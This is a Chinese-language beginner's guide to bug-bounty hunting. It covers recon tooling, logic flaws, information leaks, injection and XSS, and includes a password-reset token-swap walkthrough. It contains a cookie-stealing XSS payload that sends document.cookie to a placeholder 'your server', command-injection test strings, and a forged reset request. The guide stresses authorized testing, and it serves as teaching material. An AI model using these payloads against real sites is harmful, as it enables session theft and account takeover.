1. 项目概述从“无从下手”到“挖洞拿奖”的路径规划看到“SRC漏洞挖掘”这几个字很多刚入门安全的朋友尤其是学生或者刚转行的新人第一反应往往是既兴奋又迷茫。兴奋的是这似乎是通往安全圈、证明自己能力、甚至获得真金白银奖励的一条“捷径”迷茫的是面对浩如烟海的系统、五花八门的技术根本不知道从哪里开始感觉“无门”可入。这种感觉我太熟悉了十年前我刚接触时也一样对着一个网站首页发呆半小时除了点点链接完全不知道还能做什么。这篇内容就是为你打破这个“无门”的状态准备的。它不是一份冷冰冰的技术文档而是一份基于我个人和身边朋友多年实战经验的“挖洞地图”。我们不去空谈那些高深的二进制漏洞或者复杂的链式攻击而是聚焦于那些在各大SRC安全应急响应中心平台上真正能让新手快速上手、看到成果的Web应用漏洞。我们的目标非常明确让你一个新手能够按照清晰的思路找到属于自己的第一个漏洞并成功提交、获得认可甚至奖励。无论你是信息安全专业的学生还是对网络安全充满热情的爱好者只要你具备基本的计算机网络和Web知识知道什么是HTTP请求、GET和POST的区别这篇内容就能带你上路。2. 核心思路拆解SRC挖洞的“道”与“术”在动手之前我们必须先建立正确的认知框架。挖洞不是瞎猫碰死耗子而是一场有策略的“狩猎”。我把这套策略总结为“道”与“术”的结合。2.1 “道”目标选择与心态建设为什么你总感觉无从下手很可能是因为你选错了目标。新手最大的误区就是去挑战那些大型互联网公司的核心业务比如支付宝的支付接口、微信的聊天协议。这些目标防护严密漏洞挖掘门槛极高不适合起步。正确的目标选择策略新手黄金法则从教育、企业类SRC入手例如各大高校的EDUSRC、一些传统企业的SRC。这些目标通常存在历史遗留系统多、开发人员安全意识参差不齐、安全投入相对有限的特点是新手练手的绝佳场所。像“智联SRC好挖吗”这类问题其本质就是目标选择问题这类招聘类平台用户交互复杂确实存在机会但竞争也激烈不如先从更垂直的企业SRC开始。专注于子域名、边缘业务不要一上来就盯着www.main.com主站。使用工具如subfinder,amass收集目标的子域名oa.main.com办公系统、test.main.com测试环境、dev.main.com开发环境、vpn.main.com接入系统等等。这些边缘系统往往是安全体系的薄弱环节。寻找新上线或改版系统关注目标的公告、新闻新上线的功能或刚刚改版的页面出现逻辑漏洞和配置错误的概率大大增加。心态建设放弃“一招致命”的幻想新手的第一洞大概率不是一个高危的RCE远程代码执行或SQL注入而可能是一个中危的信息泄露或一个低危的逻辑缺陷。这非常重要拿到第一个有效漏洞建立正反馈比追求高风险漏洞而一无所获要强一万倍。漏洞的本质是“差异”你的思路和开发者的思路出现了差异。开发者认为“用户应该这样操作”而你发现了“用户其实可以那样操作”。培养这种寻找“差异”的思维。合规与授权绝对、永远只在获得授权的范围内进行测试。SRC平台就是为此而生。在未授权的情况下对系统进行测试是违法行为。所有思路和手法都必须在SRC划定的边界内进行。2.2 “术”核心漏洞类型与攻击面映射确定了目标接下来要明确“找什么”。对于新手我强烈建议将火力集中在以下几类高产出、易理解的漏洞上它们占据了SRC提交漏洞的很大比例。1. 逻辑漏洞业务逻辑漏洞这是新手最容易突破也最能体现“思路”价值的领域。它不依赖复杂的技术而是依赖于你对业务流程的理解。核心思路穷举业务流程的每一个环节问自己“如果我不按规矩出牌会怎样”常见场景越权访问垂直越权普通用户访问管理员功能、水平越权用户A访问用户B的数据。修改请求参数中的ID如user_id123改为user_id124是经典测试手法。业务流程绕过如支付环节在最后确认订单前拦截请求尝试修改支付金额为0或负数验证码绕过检查验证码是否在前端验证、是否可重复使用、是否为空值绕过。竞争条件在短时间内发起大量并发请求比如“限量优惠券领取”、“余额充值”。可能触发逻辑错误导致超额领取或充值。实操心得使用Burp Suite的Repeater和Intruder模块是测试逻辑漏洞的利器。多关注“状态”的改变比如订单状态、审核状态、权限状态尝试用请求直接修改它。2. 信息泄露这类漏洞数量巨大往往由于开发疏忽或配置不当导致。核心思路寻找一切本不该被公开访问但可能因配置错误而暴露的资源。常见场景敏感文件泄露/.git/目录、/.svn/目录、/WEB-INF/web.xml、/.DS_Store、备份文件.bak,.swp,.old。配置信息泄露错误页面暴露堆栈信息含路径、代码片段、默认页面如phpinfo页面、配置文件config.php,.env可通过路径遍历访问。接口信息泄露JS文件app.js,chunk.js中可能硬编码API密钥、内部接口地址通过爬取网站或分析前端代码发现未鉴权的API接口直接访问可能泄露数据。实操心得使用dirsearch、gobuster等目录爆破工具配合强大的字典如common.txt,big.txt是发现这类漏洞的标准流程。同时养成手动浏览器查看网页源代码的习惯按CtrlU搜索关键词如api,key,token,password,secret。3. 注入类漏洞SQL注入、命令注入等虽然传统但远未过时尤其在老旧系统和企业应用中。核心思路向所有用户输入点提交非预期数据观察系统响应是否异常。常见场景SQL注入URL参数?id1、搜索框、登录表单。新手可以先使用自动化工具如sqlmap进行初步探测但一定要学习原理尝试手动利用如输入单引号‘看是否报错。命令注入多见于网络设备、运维系统的功能点如“ping测试”、“路由追踪”。输入127.0.0.1; whoami或127.0.0.1 dir进行测试。模板注入SSTI如果网站使用了Freemarker、Jinja2等模板引擎在内容编辑或展示处尝试输入{{7*7}}如果页面显示49则存在漏洞。这正对应了热词中“重写freemarker的类”可能涉及的深层风险。注意事项使用sqlmap等自动化工具一定要谨慎添加--batch、--level等参数控制扫描深度避免对目标造成过大压力。在SRC平台测试时最好先阅读其测试规范有些平台禁止使用自动化扫描工具。4. 跨站脚本XSS在富文本编辑器、评论、个人信息填写等所有用户可控输入并输出的地方寻找。核心思路输入一段脚本看它是否会被浏览器执行。常见场景反射型XSS通过URL参数触发、存储型XSS提交后存储在数据库其他用户访问时触发。最简单的测试payloadscriptalert(1)/script或img srcx onerroralert(1)。实操心得不要只弹窗。证明危害是提升漏洞评级的关键。尝试构造窃取Cookie的Payloadscriptfetch(https://你的服务器/steal?cookiedocument.cookie)/script并搭建一个简易的HTTP服务来接收这能证明漏洞的实际危害。3. 标准作业流程从信息收集到漏洞提交有了思路和方向我们需要一个可重复执行的标准化流程。这套流程能极大提高你的效率和成功率。3.1 第一阶段深度信息收集侦察信息收集的广度与深度直接决定了你攻击面的多少。这部分要花整个流程60%的时间。子域名枚举使用工具链。# 使用subfinder发现子域 subfinder -d target.com -o subdomains.txt # 使用amass进行深度枚举 amass enum -d target.com -o amass_subs.txt # 合并去重 cat subdomains.txt amass_subs.txt | sort -u final_subs.txt端口与服务探测针对发现的子域名和主域名探测开放端口。# 使用naabu进行快速端口扫描 naabu -l final_subs.txt -o ports.txt # 使用nmap对关键服务进行详细探测 nmap -sV -sC -p 80,443,8080,8443 -iL final_subs.txt -oA nmap_scanWeb应用指纹识别识别网站使用的技术栈如ThinkPHP, Spring Boot, WordPress框架和组件的已知漏洞是重要突破口。使用Wappalyzer浏览器插件或whatweb命令。whatweb https://target.com目录与文件爆破使用dirsearch或ffuf。dirsearch -u https://target.com -e php,asp,js,bak,zip,tar.gz -w /path/to/dictionary.txtJS文件分析这是发现隐藏接口、API密钥的宝藏。可以使用LinkFinder等工具自动化提取但手动分析往往收获更大。在浏览器开发者工具的“Sources”或“网络”选项卡中查看加载的JS文件。3.2 第二阶段漏洞探测与验证基于收集的信息开始有针对性的测试。手动浏览与功能点梳理将目标网站的所有功能点走一遍用思维导图记录下来。注册、登录、个人信息修改、订单创建、支付、文件上传、搜索、密码找回……每一个功能点都是一个潜在的测试用例。代理工具配置将浏览器流量代理到Burp Suite或OWASP ZAP。确保能拦截到所有HTTP/HTTPS请求。系统性测试每个参数对拦截到的每一个请求参数GET/POST/Cookie/Header都进行篡改测试。每个接口尝试未授权访问、越权访问。每个上传点尝试上传恶意文件绕过前端校验、Content-Type校验、文件头校验。每个输入点测试XSS、SQL注入。工具辅助验证对于初步怀疑的点用工具进行深度验证。例如对一个可能存在SQL注入的参数用sqlmap跑一下对一个可能存在敏感目录的站点用dirsearch再扫一遍深度路径。3.3 第三阶段漏洞报告撰写与提交挖到漏洞只成功了一半清晰、专业的报告才能让你顺利拿奖。报告核心要素漏洞标题精炼概括如“XX系统后台管理页面存在未授权访问漏洞”。漏洞等级参考SRC平台定级标准客观自评高危、中危、低危。漏洞类型如逻辑漏洞-越权访问。影响范围说明受影响的URL、功能模块。详细步骤这是最关键的部分必须提供一步一步、可复现的操作步骤。像写教程一样详细。使用账号Atest1/password1登录系统。访问“我的订单”页面URL为https://target.com/user/order?user_id1001。将URL中的user_id参数修改为1002。回车后成功看到属于账号Btest2的订单详情。请求与响应附上Burp Suite截取的原始HTTP请求和响应包可适当脱敏这是最直接的证据。漏洞证明提供截图或视频清晰展示漏洞被利用后的效果如越权看到他人信息、执行了弹窗等。修复建议给出具体的修复方案体现你的专业性。例如“在对user_id参数进行查询前增加服务端校验确保当前登录用户的ID与请求的user_id匹配。”提交平台国内主流的有补天、漏洞盒子、教育SRC联盟等。关注“补天SRC官网下载”的其实是其漏洞提交平台客户端或插件用于辅助提交。4. 新手专属实战以“密码找回”功能为例我们以一个最常见的“密码找回”功能为例手把手走一遍完整的挖掘流程。这个功能逻辑复杂是逻辑漏洞的富矿。目标场景一个在线学习平台study.com的密码找回功能。测试步骤正常流程分析点击“忘记密码”输入注册邮箱userexample.com。系统提示“重置链接已发送至您的邮箱”。用户登录邮箱点击一个包含token的重置链接如https://study.com/reset?tokenabc123def456。进入重置页面输入新密码完成修改。漏洞挖掘点分析点1邮箱地址是否可篡改在第一步提交邮箱时拦截请求将邮箱改为攻击者的邮箱attackerevil.com。观察重置链接发往了哪里。如果发到了攻击者邮箱则直接导致任意用户密码被重置。点2验证码是否可绕过如果在第一步需要输入图形验证码或短信验证码尝试留空验证码提交。输入一个错误的验证码提交。重复使用同一个验证码多次提交。将验证码参数code删除或修改为code0提交。点3Token是否可预测或篡改收到重置链接https://study.com/reset?tokenabc123def456。预测尝试将token改为简单数字或规律值如token1,token123456。篡改为另一个已知用户如victimexample.com发起密码找回获得他的tokentokenxyz789。然后在第一个用户的重置环节拦截请求将token替换为第二个用户的token。如果成功则相当于用A用户的流程重置了B用户的密码。点4重置后Token是否失效用正确流程重置密码后再次使用同一个token访问重置链接看是否还能继续修改密码。如果不失效则存在“密码重置链接复用”漏洞。点5最终提交重置的请求是否可越权在最后一步提交新密码时拦截请求包。请求中可能包含user_id或username参数。尝试修改这些参数看能否重置其他用户的密码。实操记录与证据固定使用Burp Suite拦截每一步的请求。针对点3Token篡改我们构造了如下攻击为victimexample.com申请重置获得Token_A。为attackerevil.com申请重置获得Token_B。在attacker的重置页面URL带Token_B拦截提交新密码的POST请求。将请求中的token参数值由Token_B替换为Token_A同时确保POST数据中的email或user_id参数指向victimexample.com如果存在。转发请求。结果服务器返回“密码重置成功”。而攻击者邮箱并未收到任何链接却成功重置了受害者的密码。证据保存Burp Suite中关键的请求/响应历史记录并截图整个操作过程的浏览器界面。报告撰写要点标题“XX学习平台密码找回功能存在Token替换漏洞导致任意用户密码重置”步骤将上述第3步的操作拆解成1、2、3、4、5的详细步骤。请求包示例POST /api/reset-password HTTP/1.1 Host: study.com Content-Type: application/x-www-form-urlencoded tokenToken_Anew_passwordHacked123confirm_passwordHacked123修复建议密码重置Token必须与用户身份强绑定在验证Token时需同时校验Token对应的用户ID与当前请求会话中的用户ID是否一致。Token应一次性使用使用后立即失效。5. 工具链推荐与高效工作流工欲善其事必先利其器。一套顺手的工具能让你事半功倍。信息收集套件Subfinder/Amass子域名发现。Assetfinder快速子域名查找。Httpx快速验证子域名存活并获取标题、状态码。Naabu/Nmap端口扫描与服务识别。Waybackurls/Gau从历史存档中获取目标URL常能发现已下线但仍有用的接口。漏洞探测与利用Burp Suite ProfessionalWeb安全测试的“瑞士军刀”社区版也足够新手使用。Repeater重放、Intruder爆破、Scanner扫描是核心模块。OWASP ZAPBurp Suite的免费替代品功能强大。Sqlmap自动化SQL注入检测与利用。XSS Hunter用于检测盲XSSBlind XSS的在线平台当你插入的XSS payload被触发时它会通知你非常适合在输入点广泛测试存储型XSS。浏览器插件Wappalyzer识别网站技术栈。Hack-Tools集合了多种Payload、编码解码等功能。EditThisCookie方便地查看和编辑Cookie。高效工作流建议自动化信息收集编写一个简单的Shell脚本将subfinder、httpx、waybackurls等工具串联起来一键输入域名输出存活的、有趣的URL列表。重点目标标记在收集到的URL中快速筛选出以下特征的目标优先测试登录/注册接口文件上传点包含api、admin、manage、test、dev关键词的路径返回200状态码但内容是空或错误的页面可能是未鉴权的后台JavaScript文件.js使用Burp Suite的“搜索”功能将整个站点的流量代理到Burp后在Proxy历史记录或Site map中使用搜索功能CtrlF查找关键词如password、token、key、id、upload、delete能快速定位到潜在的风险点。6. 常见问题与排查技巧实录在实际操作中你一定会遇到各种问题。这里记录一些典型的“坑”和解决方法。Q1我按照教程测试了但什么都找不到是不是目标太安全了A1大概率不是。首先检查你的测试是否足够“细致”。你是否测试了每一个参数每一个接口尝试了每一种HTTP方法GET, POST, PUT, DELETE其次检查你的思维是否被“常规操作”局限。多问“如果……会怎样”。最后扩大攻击面。回到信息收集阶段看看有没有遗漏的子域名、端口、历史接口。Q2使用sqlmap扫描时网站把我IP封了怎么办A2这是新手常犯的错误。在SRC测试中要文明测试。使用--delay参数设置请求延迟如--delay2表示每2秒发一个请求。使用--threads1降低并发线程数。使用--risk和--level参数从最低级别开始扫描。最重要的是先手动测试发现有明显注入迹象如报错、布尔盲注的差异响应后再用sqlmap针对该点进行精准验证而不是一上来就全盘扫描。Q3我找到了一个疑似漏洞的点但无法稳定复现有时成功有时失败。A3这种情况很常见尤其是在逻辑漏洞中。首先用Burp Suite完整记录下成功和失败时的所有请求。对比两者差异可能是一个不起眼的Header如X-Forwarded-For、一个Cookie值、或者是请求的时间顺序问题。其次考虑“竞争条件”尝试用Burp的Turbo Intruder插件或编写Python脚本进行并发测试。Q4提交漏洞后厂商回复“不予处理”或“已知问题”怎么办A4不要气馁。首先仔细阅读回复。如果是“不予处理”检查你的漏洞描述是否清晰复现步骤是否完整危害证明是否有力。尝试补充更详细的证据或说明其潜在危害。如果是“已知问题”可以询问是否已有CVE编号或内部跟踪号这也能证明你的发现能力。无论如何保持礼貌和专业挖掘和报告过程本身就是极佳的学习。Q5如何提升漏洞挖掘的“感觉”和深度A5除了多练没有捷径。但有一些方法可以加速这个过程阅读高质量的漏洞报告在补天、漏洞盒子等平台的公开漏洞案例中学习别人的思路和描述方式。看看那些被评为“高危”的漏洞是怎么被发现的。搭建靶场练习DVWA、WebGoat、Pikachu等Web漏洞靶场可以让你在合法安全的环境下练习所有技术。代码审计如果你懂一些开发尝试阅读开源项目的代码从源代码层面去理解漏洞是如何产生的。当你看到一段不安全的代码时你就能立刻想到它在运行时会表现出怎样的漏洞。挖洞之路始于思路成于细节久于坚持。第一个洞总是最难的但一旦你凭借自己的思路和手法成功了一次那种成就感会驱动你走得更远。记住把每一次测试都当成一次解谜游戏享受发现“差异”和“突破”的乐趣。安全的世界很大SRC只是起点从这里积累的经验、建立的思维将是你未来职业生涯中最宝贵的财富。